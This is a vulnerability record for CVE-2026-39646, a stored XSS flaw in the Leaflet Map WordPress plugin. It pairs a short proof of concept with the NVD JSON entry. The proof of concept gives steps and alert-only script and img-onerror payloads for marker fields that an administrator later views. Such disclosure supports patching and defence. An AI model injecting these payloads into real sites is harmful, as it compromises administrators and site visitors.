CVE-2026-39646

<!-- // PoC for Stored XSS in Leaflet Map <= 3.4.4 // 1. Log in as a low-privileged user (e.g., Subscriber/Contributor). // 2. Navigate to the page where Leaflet Map is used or configured. // 3. Inject the following payload into a map marker or popup field: --> <script>alert('CVE-2026-39646 - Stored XSS');</script> <!-- Alternatively, use an image tag to bypass some filters: <img src=x onerror=alert('CVE-2026-39646')> // 4. Save the content. // 5. Wait for an Administrator to view the page to trigger the execution. -->

{"cve": {"id": "CVE-2026-39646", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:35.483", "lastModified": "2026-04-24T18:06:24.707", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in bozdoz Leaflet Map leaflet-map allows Stored XSS.This issue affects Leaflet Map: from n/a through <= 3.4.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/leaflet-map/vulnerability/wordpress-leaflet-map-plugin-3-4-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}